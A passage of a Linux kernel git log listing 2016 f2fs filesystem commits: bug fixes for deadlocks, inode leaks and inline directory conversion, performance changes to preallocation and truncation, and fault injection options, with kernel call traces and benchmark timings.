/mnt/f2fs/dir/1: No such file or directory ls: cannot access /mnt/f2fs/dir/2: No such file or directory ls: cannot access /mnt/f2fs/dir/3: No such file or directory ls: cannot access /mnt/f2fs/dir/4: No such file or directory drwxr-xr-x 2 root root 4096 may 13 21:47 ./ drwxr-xr-x 3 root root 4096 may 13 21:46 ../ -????????? ? ? ? ? ? 0 -????????? ? ? ? ? ? 1 -????????? ? ? ? ? ? 10 -????????? ? ? ? ? ? 100 -????????? ? ? ? ? ? 101 -????????? ? ? ? ? ? 102 Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/inline.c commit 2808d887480daac98e3c46d4e345f8efee8eb37f Author: Sheng Yong Date: Wed May 11 17:08:14 2016 +0800 f2fs: correct return value type of f2fs_fill_super Signed-off-by: Sheng Yong Signed-off-by: Jaegeuk Kim commit c2b4475c69d1e3901db7580677961038eb4c5e24 Author: Chao Yu Date: Wed May 11 19:48:44 2016 +0800 f2fs: fix deadlock when flush inline data Below backtrace info was reported by Yunlei He: Call Trace: [] schedule+0x35/0x80 [] rwsem_down_read_failed+0xed/0x130 [] call_rwsem_down_read_failed+0x18/0x [] down_read+0x20/0x30 [] f2fs_evict_inode+0x242/0x3a0 [f2fs] [] evict+0xc7/0x1a0 [] iput+0x196/0x200 [] __dentry_kill+0x179/0x1e0 [] dput+0x199/0x1f0 [] __fput+0x18b/0x220 [] ____fput+0xe/0x10 [] task_work_run+0x77/0x90 [] exit_to_usermode_loop+0x73/0xa2 [] do_syscall_64+0xfa/0x110 [] entry_SYSCALL64_slow_path+0x25/0x25 Call Trace: [] schedule+0x35/0x80 [] __wait_on_freeing_inode+0xa3/0xd0 [] ? autoremove_wake_function+0x40/0x4 [] find_inode_fast+0x7d/0xb0 [] ilookup+0x6a/0xd0 [] sync_node_pages+0x210/0x650 [f2fs] [] ? do_fsync+0x70/0x70 [] block_operations+0x9e/0xf0 [f2fs] [] ? bio_endio+0x55/0x60 [] write_checkpoint+0x92/0xba0 [f2fs] [] ? mempool_free_slab+0x17/0x20 [] ? mempool_free+0x2b/0x80 [] ? do_fsync+0x70/0x70 [] f2fs_sync_fs+0x63/0xd0 [f2fs] [] ? ext4_sync_fs+0xbf/0x190 [] sync_fs_one_sb+0x20/0x30 [] iterate_supers+0xb9/0x110 [] sys_sync+0x55/0x90 [] do_syscall_64+0x69/0x110 [] entry_SYSCALL64_slow_path+0x25/0x25 With following excuting serials, we will set inline_node in inode page after inode was unlinked, result in a deadloop described as below: 1. open file 2. write file 3. unlink file 4. write file 5. close file Thread A Thread B - dput - iput_final - inode->i_state |= I_FREEING - evict - f2fs_evict_inode - f2fs_sync_fs - write_checkpoint - block_operations - f2fs_lock_all (down_write(cp_rwsem)) - f2fs_lock_op (down_read(cp_rwsem)) - sync_node_pages - ilookup - find_inode_fast - __wait_on_freeing_inode (wait on I_FREEING clear) Here, we change to set inline_node flag only for linked inode for fixing. Reported-by: Yunlei He Signed-off-by: Chao Yu Tested-by: Jaegeuk Kim Cc: stable@vger.kernel.org # v4.6 Signed-off-by: Jaegeuk Kim commit 75fc31ee31238e35be446c6ab82bb4b9fe22c449 Author: Jaegeuk Kim Date: Wed May 11 09:13:13 2016 -0700 f2fs: avoid f2fs_bug_on during recovery We don't need to use f2fs_bug_on() to treat with any error case when allocating a block during recovery. Signed-off-by: Jaegeuk Kim commit e0cb77b3878fc204fcebf0b88f3b84fa578601b5 Author: Jaegeuk Kim Date: Tue May 10 19:13:50 2016 -0700 f2fs: show # of orphan inodes This adds debug information for # of orphan inodes. Signed-off-by: Jaegeuk Kim commit df3a7b8dc969d59ae9bcef79c555a4abe46dd0ab Author: Chao Yu Date: Mon May 9 19:56:31 2016 +0800 f2fs: support in batch fzero in dnode page This patch tries to speedup fzero_range by making space preallocation and address removal of blocks in one dnode page as in batch operation. In virtual machine, with zram driver: dd if=/dev/zero of=/mnt/f2fs/file bs=1M count=4096 time xfs_io -f /mnt/f2fs/file -c "fzero 0 4096M" Before: real 0m3.276s user 0m0.008s sys 0m3.260s After: real 0m1.568s user 0m0.000s sys 0m1.564s Signed-off-by: Chao Yu [Jaegeuk Kim: consider ENOSPC case] Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/file.c commit 1e785d0edad8658e17ca468f76ae2d1e75265e47 Author: Chao Yu Date: Mon May 9 19:56:30 2016 +0800 f2fs: support in batch multi blocks preallocation This patch introduces reserve_new_blocks to make preallocation of multi blocks as in batch operation, so it can avoid lots of redundant operation, result in better performance. In virtual machine, with rotational device: time fallocate -l 32G /mnt/f2fs/file Before: real 0m4.584s user 0m0.000s sys 0m4.580s After: real 0m0.292s user 0m0.000s sys 0m0.272s In x86, with SSD: time fallocate -l 500G $MNT/testfile Before : 24.758 s After : 1.604 s Signed-off-by: Chao Yu [Jaegeuk Kim: fix bugs and add performance numbers measured in x86.] Signed-off-by: Jaegeuk Kim commit dd310a0731ae40f70d172a86ea75f3a88c58a896 Author: Chao Yu Date: Mon May 9 19:56:33 2016 +0800 f2fs: make atomic/volatile operation exclusive atomic/volatile ioctl interfaces are exposed to user like other file operation interface, it needs to make them getting exclusion against to each other to avoid potential conflict among these operations in concurrent scenario. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 5dc571bca8b1eb09f70e02fec3ce39cd083ba7bf Author: Chao Yu Date: Mon May 9 19:56:32 2016 +0800 f2fs: use mnt_{want,drop}_write_file in ioctl In interfaces of ioctl, mnt_{want,drop}_write_file should be used for: - get exclusion against file system freezing which may used by lvm snapshot. - do telling filesystem that a write is about to be performed on it, and make sure that the writes are permitted. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 6bcea6982ff34156ee067945c3b853f8496c962f Author: Jaegeuk Kim Date: Sat May 7 08:52:57 2016 -0700 f2fs: do not preallocate block unaligned to 4KB Previously f2fs_preallocate_blocks() tries to allocate unaligned blocks. In f2fs_write_begin(), however, prepare_write_begin() does not skip its allocation due to (len != 4KB). So, it needs locking node page twice unexpectedly. Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/data.c commit 4c7b1c20fb1d28e7cdea838d59e64f6a85d7b483 Author: Jaegeuk Kim Date: Fri May 6 16:19:43 2016 -0700 f2fs: read node blocks ahead when truncating blocks This patch enables reading node blocks in advance when truncating large data blocks. > time rm $MNT/testfile (500GB) after drop_cachees Before : 9.422 s After : 4.821 s Reported-by: Stephen Bates Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/node.c commit 89de3e9c8b6ab99058b7b4e1b05e6f54dfb7ee44 Author: Jaegeuk Kim Date: Fri May 6 15:30:38 2016 -0700 f2fs: fallocate data blocks in single locked node page This patch is to improve the expand_inode speed in fallocate by allocating data blocks as many as possible in single locked node page. In SSD, # time fallocate -l 500G $MNT/testfile Before : 1m 33.410 s After : 24.758 s Reported-by: Stephen Bates Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/file.c commit 808f6fb0bac0cb5f7f4b72e481e2e3abb449442a Author: Chao Yu Date: Sat May 7 16:15:05 2016 +0800 f2fs: fix inode cache leak When testing f2fs with inline_dentry option, generic/342 reports: VFS: Busy inodes after unmount of dm-0. Self-destruct in 5 seconds. Have a nice day... After rmmod f2fs module, kenrel shows following dmesg: ============================================================================= BUG f2fs_inode_cache (Tainted: G O ): Objects remaining in f2fs_inode_cache on __kmem_cache_shutdown() ----------------------------------------------------------------------------- Disabling lock debugging due to kernel taint INFO: Slab 0xf51ca0e0 objects=22 used=1 fp=0xd1e6fc60 flags=0x40004080 CPU: 3 PID: 7455 Comm: rmmod Tainted: G B O 4.6.0-rc4+ #16 Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006 00000086 00000086 d062fe18 c13a83a0 f51ca0e0 d062fe38 d062fea4 c11c7276 c1981040 f51ca0e0 00000016 00000001 d1e6fc60 40004080 656a624f 20737463 616d6572 6e696e69 6e692067 66326620 6e695f73 5f65646f 68636163 6e6f2065 Call Trace: [] dump_stack+0x5f/0x8f [] slab_err+0x76/0x80 [] ? __kmem_cache_shutdown+0x100/0x2f0 [] ? __kmem_cache_shutdown+0x100/0x2f0 [] __kmem_cache_shutdown+0x125/0x2f0 [] kmem_cache_destroy+0x158/0x1f0 [] ? mutex_unlock+0xd/0x10 [] exit_f2fs_fs+0x4b/0x5a8 [f2fs] [] SyS_delete_module+0x16c/0x1d0 [] ? do_fast_syscall_32+0x30/0x1c0 [] ? __this_cpu_preempt_check+0xf/0x20 [] ? trace_hardirqs_on_caller+0xdd/0x210 [] ? trace_hardirqs_off+0xb/0x10 [] do_fast_syscall_32+0xa1/0x1c0 [] sysenter_past_esp+0x45/0x74 INFO: Object 0xd1e6d9e0 @offset=6624 kmem_cache_destroy f2fs_inode_cache: Slab cache still has objects CPU: 3 PID: 7455 Comm: rmmod Tainted: G B O 4.6.0-rc4+ #16 Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006 00000286 00000286 d062fef4 c13a83a0 f174b000 d062ff14 d062ff28 c1198ac7 c197fe18 f3c5b980 d062ff20 000d04f2 d062ff0c d062ff0c d062ff14 d062ff14 f8f20dc0 fffffff5 d062e000 d062ff30 f8f15aa3 d062ff7c c10f596c 73663266 Call Trace: [] dump_stack+0x5f/0x8f [] kmem_cache_destroy+0x1e7/0x1f0 [] exit_f2fs_fs+0x4b/0x5a8 [f2fs] [] SyS_delete_module+0x16c/0x1d0 [] ? do_fast_syscall_32+0x30/0x1c0 [] ? __this_cpu_preempt_check+0xf/0x20 [] ? trace_hardirqs_on_caller+0xdd/0x210 [] ? trace_hardirqs_off+0xb/0x10 [] do_fast_syscall_32+0xa1/0x1c0 [] sysenter_past_esp+0x45/0x74 The reason is: in recovery flow, we use delayed iput mechanism for directory which has recovered dentry block. It means the reference of inode will be held until last dirty dentry page being writebacked. But when we mount f2fs with inline_dentry option, during recovery, dirent may only be recovered into dir inode page rather than dentry page, so there are no chance for us to release inode reference in ->writepage when writebacking last dentry page. We can call paired iget/iput explicityly for inline_dentry case, but for non-inline_dentry case, iput will call writeback_single_inode to write all data pages synchronously, but during recovery, ->writepages of f2fs skips writing all pages, result in losing dirent. This patch fixes this issue by obsoleting old mechanism, and introduce a new dir_list to hold all directory inodes which has recovered datas until finishing recovery. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit fdcf41ac05ffb24d1d3ee5ce15aaf727da60d25c Author: Jaegeuk Kim Date: Wed May 4 22:05:01 2016 -0700 fscrypto/f2fs: allow fs-specific key prefix for fs encryption This patch allows fscrypto to handle a second key prefix given by filesystem. The main reason is to provide backward compatibility, since previously f2fs used "f2fs:" as a crypto prefix instead of "fscrypt:". Later, ext4 should also provide key_prefix() to give "ext4:". One concern decribed by Ted would be kinda double check overhead of prefixes. In x86, for example, validate_user_key consumes 8 ms after boot-up, which turns out derive_key_aes() consumed most of the time to load specific crypto module. After such the cold miss, it shows almost zero latencies, which treats as a negligible overhead. Note that request_key() detects wrong prefix in prior to derive_key_aes() even. Cc: Ted Tso Cc: stable@vger.kernel.org # v4.6 Signed-off-by: Jaegeuk Kim Conflicts: fs/crypto/keyinfo.c commit 912d4c1a8ddd8418b727e695a4e76984233283e7 Author: Chao Yu Date: Thu May 5 19:13:03 2016 +0800 f2fs: avoid panic when truncating to max filesize The following panic occurs when truncating inode which has inline xattr to max filesize. [] get_dnode_of_data+0x4e/0x580 [f2fs] [] ? read_node_page+0x51/0x90 [f2fs] [] ? get_node_page.part.34+0xb9/0x170 [f2fs] [] truncate_blocks+0x131/0x3f0 [f2fs] [] f2fs_truncate+0x73/0x100 [f2fs] [] f2fs_setattr+0x62/0x2a0 [f2fs] [] notify_change+0x158/0x300 [] do_truncate+0x6b/0xa0 [] ? __sb_start_write+0x49/0x100 [] do_sys_ftruncate.constprop.12+0x118/0x170 [] SyS_ftruncate+0xe/0x10 [] tracesys+0xe1/0xe6 [] get_node_path+0x210/0x220 [f2fs] --[ end trace 5fea664dfbcc6625 ]--- The reason is truncate_blocks tries to truncate all node and data blocks start from specified block offset with value of (max filesize / block size), but actually, our valid max block offset is (max filesize / block size) - 1, so f2fs detects such invalid block offset with BUG_ON in truncation path. This patch lets f2fs skip truncating data which is exceeding max filesize. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit ad6452590668c27dffed044a2d86bf6f65c20c7c Author: Chao Yu Date: Thu May 5 19:13:02 2016 +0800 f2fs: fix incorrect mapping in ->bmap Currently, generic_block_bmap is used in f2fs_bmap, its semantics is when the mapping is been found, return position of target physical block, otherwise return zero. But, previously, when there is no mapping info for specified logical block, f2fs_bmap will map target physical block to a uninitialized variable, which should be wrong. Fix it. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 5d5d088acffdf2e5a971911eb585c0e9f8767cd8 Author: Jaegeuk Kim Date: Wed May 4 09:58:10 2016 -0700 f2fs: remove an obsolete variable This patch removes an obsolete variable used in add_free_nid. Signed-off-by: Jaegeuk Kim commit 2f426dbd23396eb6055305e8b81d4bdb35c0c32b Author: Jaegeuk Kim Date: Wed May 4 19:48:53 2016 -0700 f2fs: don't worry about inode leak in evict_inode Even if an inode failed to release its blocks, it should be kept in an orphan inode list, so it will be released later. Signed-off-by: Jaegeuk Kim commit 9bf5ba4dd7b293cca29e334af63560aa3f88d6e0 Author: Chao Yu Date: Wed May 4 23:19:48 2016 +0800 f2fs: shrink size of struct seg_entry Restructure struct seg_entry to eliminate holes in it, after that, in 32-bits machine, it reduces size from 32 bytes to 24 bytes; in 64-bits machine, it reduces size from 56 bytes to 40 bytes. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 966affa35149a8bf0efeecfc288602bfc1e680e0 Author: Chao Yu Date: Wed May 4 23:19:47 2016 +0800 f2fs: reuse get_extent_info Reuse get_extent_info for readability. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 90e3cb59be24abf8045ce5ce3966286cecf5940f Author: Chao Yu Date: Wed May 4 23:19:46 2016 +0800 f2fs: remove unneeded memset when updating xattr Each of fields in struct f2fs_xattr_entry will be assigned later, so previously we don't need to memset the struct. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 6d7554f180515a5e1a5e25c75cd12268c0f02992 Author: Chao Yu Date: Wed May 4 23:17:00 2016 +0800 f2fs: remove unneeded readahead in find_fsync_dnodes In find_fsync_dnodes, get_tmp_page will read dnode page synchronously, previously, ra_meta_page did the same work, which is redundant, remove it. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 3922bdbe33e3c8512314a065e985610da4c4311c Author: Jaegeuk Kim Date: Tue May 3 09:22:18 2016 -0700 f2fs: retry to truncate blocks in -ENOMEM case This patch modifies to retry truncating node blocks in -ENOMEM case. Signed-off-by: Hou Pengyang Signed-off-by: Jaegeuk Kim commit f0602b8fd164177d531f1b7788b3cdeaa26fc2ab Author: Jaegeuk Kim Date: Mon May 2 22:09:56 2016 -0700 f2fs: fix leak of orphan inode objects When unmounting filesystem, we should release all the ino entries. Signed-off-by: Jaegeuk Kim commit c816ba0a36ff77f27884a8cc5639da2be0bba412 Author: Jaegeuk Kim Date: Mon May 2 12:34:48 2016 -0700 f2fs: revisit error handling flows This patch fixes a couple of bugs regarding to orphan inodes when handling errors. This tries to - call alloc_nid_done with add_orphan_inode in handle_failed_inode - let truncate blocks in f2fs_evict_inode - not make a bad inode due to i_mode change Signed-off-by: Jaegeuk Kim commit 7cd681f44ede5730f8b6e80ddfbe374bee3d3930 Author: Jaegeuk Kim Date: Fri Apr 29 16:29:22 2016 -0700 f2fs: inject ENOSPC failures This patch injects ENOSPC failures. Signed-off-by: Jaegeuk Kim commit d5284854306013c738f05e4f9ccb25986cb553ba Author: Jaegeuk Kim Date: Fri Apr 29 16:17:09 2016 -0700 f2fs: inject page allocation failures This patch adds page allocation failures. Signed-off-by: Jaegeuk Kim commit c9b20c8cba4db5689c94f44b1490fca48e982fe8 Author: Jaegeuk Kim Date: Fri Apr 29 15:49:56 2016 -0700 f2fs: inject kmalloc failure This patch injects kmalloc failure given a fault injection rate. Signed-off-by: Jaegeuk Kim commit d17236d767822aedf210e236b58508116eb900af Author: Jaegeuk Kim Date: Fri Apr 29 15:34:32 2016 -0700 f2fs: add mount option to select fault injection ratio This patch adds a mount option to select fault ratio. Signed-off-by: Jaegeuk Kim commit 8d85d7387fc462e780e536ae4426b651fcb31072 Author: Jaegeuk Kim Date: Fri Apr 29 16:11:53 2016 -0700 f2fs: use f2fs_grab_cache_page instead of grab_cache_page This patch converts grab_cache_page to f2fs_grab_cache_page. Signed-off-by: Jaegeuk Kim commit 5488453db2b72a913bcd9b4235b49f4f42e4d4de Author: Jaegeuk Kim Date: Fri Apr 29 15:16:42 2016 -0700 f2fs: introduce f2fs_kmalloc to wrap kmalloc This patch adds f2fs_kmalloc. Signed-off-by: Jaegeuk Kim commit 229b6ec6c1bb79216e2fe197504c00452d7b4f7e Author: Jaegeuk Kim Date: Wed Apr 27 16:29:05 2016 -0700 f2fs: add proc entry to show valid block bitmap This patch adds a new proc entry to show segment information in more detail. Signed-off-by: Jaegeuk Kim commit 99ba93b8034cf4b4c5160895630b646a4e455c13 Author: Jaegeuk Kim Date: Wed Apr 27 16:07:56 2016 -0700 f2fs: introduce macros for proc entries This adds macros to be used multiple proc entries. Signed-off-by: Jaegeuk Kim commit 0f4ba8abdab6a50af887203fee2d4630183ac768 Author: Chao Yu Date: Fri Apr 29 20:13:37 2016 +0800 f2fs: factor out fsync inode entry operations Factor out fsync inode entry operations into {add,del}_fsync_inode. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 2e601a05ab0f45bf1e19425ab41ad3236e008db6 Author: Chao Yu Date: Fri Apr 29 20:13:36 2016 +0800 f2fs: fix to clear page private flag Commit 28bc106b2346 ("f2fs: support revoking atomic written pages") forgot to clear page private flag correctly, fix it. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 1ea0e74e28dcc1a082875f8d70a11197a28995d8 Author: Chao Yu Date: Fri Apr 29 20:09:15 2016 +0800 f2fs: fix to clear private data in page Private data in page should be removed during ->releasepage or ->invalidatepage, otherwise garbage data would be remained in that page. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 86f474809385082e29c6d299f6420b00b5460017 Author: Yunlong Song Date: Wed Apr 27 20:32:37 2016 +0800 f2fs: fix to return 0 if err == -ENOENT in f2fs_readdir Commit 57b62d29ad5b384775974973087d47755a8c6fcc ("f2fs: fix to report error in f2fs_readdir") causes f2fs_readdir to return -ENOENT when get_lock_data_page returns -ENOENT. However, the original logic is to continue when get_lock_data_page returns -ENOENT, but it forgets to reset err to 0. This will cause getdents64 incorretly return -ENOENT when lastdirent is NULL in getdents64. This will lead to a wrong return value for syscall caller. Signed-off-by: Yunlong Song Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit b20d09159990b94810912d56733e8e55607daaea Author: Chao Yu Date: Wed Apr 27 21:40:15 2016 +0800 f2fs: move node pages only in victim section during GC For foreground GC, we cache node blocks in victim section and set them dirty, then we call sync_node_pages to flush these node pages, but meanwhile, those node pages which does not locate in victim section will be flushed together, so more bandwidth and continuous free space would be occupied. So for this condition, it's better to leave those unrelated node page in cache for further write hit, and let CP or VM to flush them afterward. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 4d837e1b01dea8afd124451ee3b0bac3d1fcfaba Author: Chao Yu Date: Wed Apr 27 22:22:20 2016 +0800 f2fs: be aware of invalid filename length The filename length in dirent of may become zero-sized after random junk data injection, once encounter such dirent, find_target_dentry or f2fs_add_inline_entries will run into an infinite loop. So let f2fs being aware of that to avoid deadloop. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 4e3aef176b4b3a6c6770eae5bdeeeb19ffd06f47 Author: Jaegeuk Kim Date: Mon Apr 18 17:07:44 2016 -0400 f2fs: issue cache flush on direct IO Under direct IO path with O_(D)SYNC, it needs to set proper APPEND or UPDATE flags, so taht f2fs_sync_file can make its data safe. Acked-by: Chao Yu Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/data.c commit 4105d3627553a13394ca539522243b514b31503f Author: Jaegeuk Kim Date: Fri Apr 15 09:43:17 2016 -0700 f2fs: set fsync mark only for the last dnode In order to give atomic writes, we should consider power failure during sync_node_pages in fsync. So, this patch marks fsync flag only in the last dnode block. Acked-by: Chao Yu Signed-off-by: Jaegeuk Kim commit a719a023839bbdc0967e97f8fbe8b0989c8f998b Author: Jaegeuk Kim Date: Fri Apr 15 09:25:04 2016 -0700 f2fs: report unwritten status in fsync_node_pages The fsync_node_pages should return pass or failure so that user could know fsync is completed or not. Acked-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 036ed2b7b1f21ddf3ca26a28ab8764c7ffd74901 Author: Jaegeuk Kim Date: Wed Apr 13 16:24:44 2016 -0700 f2fs: split sync_node_pages with fsync_node_pages This patch splits the existing sync_node_pages into (f)sync_node_pages. The fsync_node_pages is used for f2fs_sync_file only. Acked-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 2c0675186eeab6c6b16edc256f460e4b9aa2f90e Author: Jaegeuk Kim Date: Thu Apr 14 16:48:52 2016 -0700 f2fs: avoid writing 0'th page in volatile writes The first page of volatile writes usually contains a sort of header information which will be used for recovery. (e.g., journal header of sqlite) If this is written without other journal data, user needs to handle the stale journal information. Acked-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 73227ceb3d4e484d34dc1991933b05ff8369bc2b Author: Jaegeuk Kim Date: Wed Apr 13 16:14:38 2016 -0700 f2fs: avoid needless lock for node pages when fsyncing a file When fsync is called, sync_node_pages finds a proper direct node pages to flush. But, it locks unrelated direct node pages together unnecessarily. Acked-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 1698c2966768059fee78fe9b6c674700e997a67b Author: Jaegeuk Kim Date: Tue Apr 12 14:36:11 2016 -0700 f2fs: flush dirty pages before starting atomic writes If somebody wrote some data before atomic writes, we should flush them in order to handle atomic data in a right period. Signed-off-by: Jaegeuk Kim commit 0827d21257b2f51ff29ea133458af7f7faa930be Author: Jaegeuk Kim Date: Tue Apr 12 14:11:03 2016 -0700 f2fs: don't invalidate atomic page if successful If we committed atomic write successfully, we don't need to invalidate pages. Signed-off-by: Jaegeuk Kim commit 55e9b044d318fe054a5f09c7f2663cc637a96d65 Author: Jaegeuk Kim Date: Tue Apr 12 11:52:30 2016 -0700 f2fs: give -E2BIG for no space in xattr This patch returns -E2BIG if there is no space to add an xattr entry. This should fix generic/026 in xfstests as well. Signed-off-by: Jaegeuk Kim commit c871d2fff7b28264ed9759263fc68296e49244ac Author: Jaegeuk Kim Date: Wed Apr 6 11:27:03 2016 -0700 f2fs: remove redundant condition check This patch resolves the redundant condition check reported by David. Reported-by: David Binderman Signed-off-by: Jaegeuk Kim commit 3e2e818e9b4095c895700f220ebd6a37e5a50887 Author: Jaegeuk Kim Date: Mon Apr 11 13:15:10 2016 -0700 f2fs: unset atomic/volatile flag in f2fs_release_file The atomic/volatile operation should be done in pair of start and commit ioctl. For example, if a killed process remains open-ended atomic operation, we should drop its flag as well as its atomic data. Otherwise, if sqlite initiates another operation which doesn't require atomic writes, it will lose every data, since f2fs still treats with them as atomic writes; nobody will trigger its commit. Reported-by: Miao Xie Signed-off-by: Jaegeuk Kim commit ff65840ea4d417b8011b12d3cf42c552fa9f5884 Author: Jaegeuk Kim Date: Mon Apr 11 11:51:51 2016 -0700 f2fs: fix dropping inmemory pages in a wrong time When one reader closes its file while the other writer is doing atomic writes, f2fs_release_file drops atomic data resulting in an empty commit. This patch fixes this wrong commit problem by checking openess of the file. Process0 Process1 open file start atomic write write data read data close file f2fs_release_file() clear atomic data commit atomic write Reported-by: Miao Xie Signed-off-by: Jaegeuk Kim commit 8c875e26c6c5768073f0debf44f18e51c6f03308 Author: Jaegeuk Kim Date: Tue Mar 29 16:13:45 2016 -0700 f2fs: add BUG_ON to avoid unnecessary flow This patch adds BUG_ON instead of retrying loop. In the case of node pages, we already got this inode page, but unlocked it. By the fact that we don't truncate any node pages in operations, the page's mapping should be unchangeable. Signed-off-by: Jaegeuk Kim commit 92744d47465c4b1b81528bcbbfe5495195f5771b Author: Chao Yu Date: Mon Feb 22 18:29:18 2016 +0800 f2fs: fix to convert inline directory correctly With below serials, we will lose parts of dirents: 1) mount f2fs with inline_dentry option 2) echo 1 > /sys/fs/f2fs/sdX/dir_level 3) mkdir dir 4) touch 180 files named [1-180] in dir 5) touch 181 in dir 6) echo 3 > /proc/sys/vm/drop_caches 7) ll dir ls: cannot access 2: No such file or directory ls: cannot access 4: No such file or directory ls: cannot access 5: No such file or directory ls: cannot access 6: No such file or directory ls: cannot access 8: No such file or directory ls: cannot access 9: No such file or directory ... total 360 drwxr-xr-x 2 root root 4096 Feb 19 15:12 ./ drwxr-xr-x 3 root root 4096 Feb 19 15:11 ../ -rw-r--r-- 1 root root 0 Feb 19 15:12 1 -rw-r--r-- 1 root root 0 Feb 19 15:12 10 -rw-r--r-- 1 root root 0 Feb 19 15:12 100 -????????? ? ? ? ? ? 101 -????????? ? ? ? ? ? 102 -????????? ? ? ? ? ? 103 ... The reason is: when doing the inline dir conversion, we didn't consider that directory has hierarchical hash structure which can be configured through sysfs interface 'dir_level'. By default, dir_level of directory inode is 0, it means we have one bucket in hash table located in first level, all dirents will be hashed in this bucket, so it has no problem for us to do the duplication simply between inline dentry page and converted normal dentry page. However, if we configured dir_level with the value N (greater than 0), it will expand the bucket number of first level hash table by 2^N - 1, it hashs dirents into different buckets according their hash value, if we still move all dirents to first bucket, it makes incorrent locating for inline dirents, the result is, although we can iterate all dirents through ->readdir, we can't stat some of them in ->lookup which based on hash table searching. This patch fixes this issue by rehashing dirents into correct position when converting inline directory. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/dir.c fs/f2fs/f2fs.h commit e47d563ca01918fe70eed1dd529e1c70d7c01556 Author: Jaegeuk Kim Date: Fri Mar 18 09:46:10 2016 -0700 f2fs: show current mount status This patch remains the current mount status to f2fs status info. Signed-off-by: Jaegeuk Kim commit 299bf333eee9209fdef11bc848f3d1daba8da0ea Author: Jaegeuk Kim Date: Thu Mar 24 10:29:39 2016 -0700 f2fs: treat as a normal umount when remounting ro When user remounts f2fs as read-only, we can mark the checkpoint as umount. Signed-off-by: Jaegeuk Kim commit 0d77c292a52f10f0ae90d348bab9ebda41cda0f6 Author: Jaegeuk Kim Date: Wed Mar 23 16:12:58 2016 -0700 f2fs: give -EINVAL for norecovery and rw mount Once detecting something to recover, f2fs should stop mounting, given norecovery and rw mount options. Signed-off-by: Jaegeuk Kim commit 145b6a1aa5eb8af77b2edf8a07425c845d9de9fe Author: Jaegeuk Kim Date: Wed Mar 23 17:05:27 2016 -0700 f2fs: recover superblock at RW remounts This patch adds a sbi flag, SBI_NEED_SB_WRITE, which indicates it needs to recover superblock when (re)mounting as RW. This is set only when f2fs is mounted as RO. Signed-off-by: Jaegeuk Kim commit df78c47610f790ac42911239575300e1b129fadb Author: Jaegeuk Kim Date: Wed Mar 23 10:42:01 2016 -0700 f2fs: give RO message when recovering superblock When one of superblocks is missing, f2fs recovers it with the valid one. But, even if f2fs is mounted as RO, we'd better notify that too. Signed-off-by: Jaegeuk Kim commit fb564200ec9065bbfc2fbf94e5e0e23d41f9d204 Author: Jaegeuk Kim Date: Tue Apr 12 16:05:36 2016 -0700 ext4/fscrypto: avoid RCU lookup in d_revalidate As Al pointed, d_revalidate should return RCU lookup before using d_inode. This was originally introduced by: commit 34286d666230 ("fs: rcu-walk aware d_revalidate method"). Reported-by: Al Viro Signed-off-by: Jaegeuk Kim Cc: Theodore Ts'o Cc: stable Conflicts: fs/ext4/crypto.c commit 1a79453d556e6809f67249e044c166bfeb06dd49 Author: Jaegeuk Kim Date: Mon Apr 11 15:51:57 2016 -0700 fscrypto: don't let data integrity writebacks fail with ENOMEM This patch fixes the issue introduced by the ext4 crypto fix in a same manner. For F2FS, however, we flush the pending IOs and wait for a while to acquire free memory. Fixes: c9af28fdd4492 ("ext4 crypto: don't let data integrity writebacks fail with ENOMEM") Cc: Theodore Ts'o Signed-off-by: Jaegeuk Kim Conflicts: fs/crypto/crypto.c commit 4a339bdf4c15776fde517fe791c3bbe38c99ea60 Author: Jaegeuk Kim Date: Mon Apr 11 15:15:38 2016 -0700 f2fs: use dget_parent and file_dentry in f2fs_file_open This patch synced with the below two ext4 crypto fixes together. In 4.6-rc1, f2fs newly introduced accessing f_path.dentry which crashes overlayfs. To fix, now we need to use file_dentry() to access that field. [Backport NOTE] - Over 4.2, it should use file_dentry Fixes: c0a37d487884 ("ext4: use file_dentry()") Fixes: 9dd78d8c9a7b ("ext4: use dget_parent() in ext4_file_open()") Cc: Miklos Szeredi Cc: Theodore Ts'o Signed-off-by: Jaegeuk Kim commit 34c60511d0aed3a7c7caea3f4a3ee41bbdf3bc02 Author: Jaegeuk Kim Date: Mon Apr 11 15:10:11 2016 -0700 fscrypto: use dget_parent() in fscrypt_d_revalidate() This patch updates fscrypto along with the below ext4 crypto change. Fixes: 3d43bcfef5f0 ("ext4 crypto: use dget_parent() in ext4_d_revalidate()") Cc: Theodore Ts'o Signed-off-by: Jaegeuk Kim Conflicts: fs/crypto/crypto.c commit 6355ac62e6d57bf9a7069f80d71cea2ab897cd40 Author: Shuoran Liu Date: Tue Mar 29 18:00:15 2016 +0800 f2fs: retrieve IO write stat from the right place In the following patch, f2fs: split journal cache from curseg cache journal cache is split from curseg cache. So IO write statistics should be retrived from journal cache but not curseg->sum_blk. Otherwise, it will get 0, and the stat is lost. Signed-off-by: Shuoran Liu Reviewed-by: Chao Yu 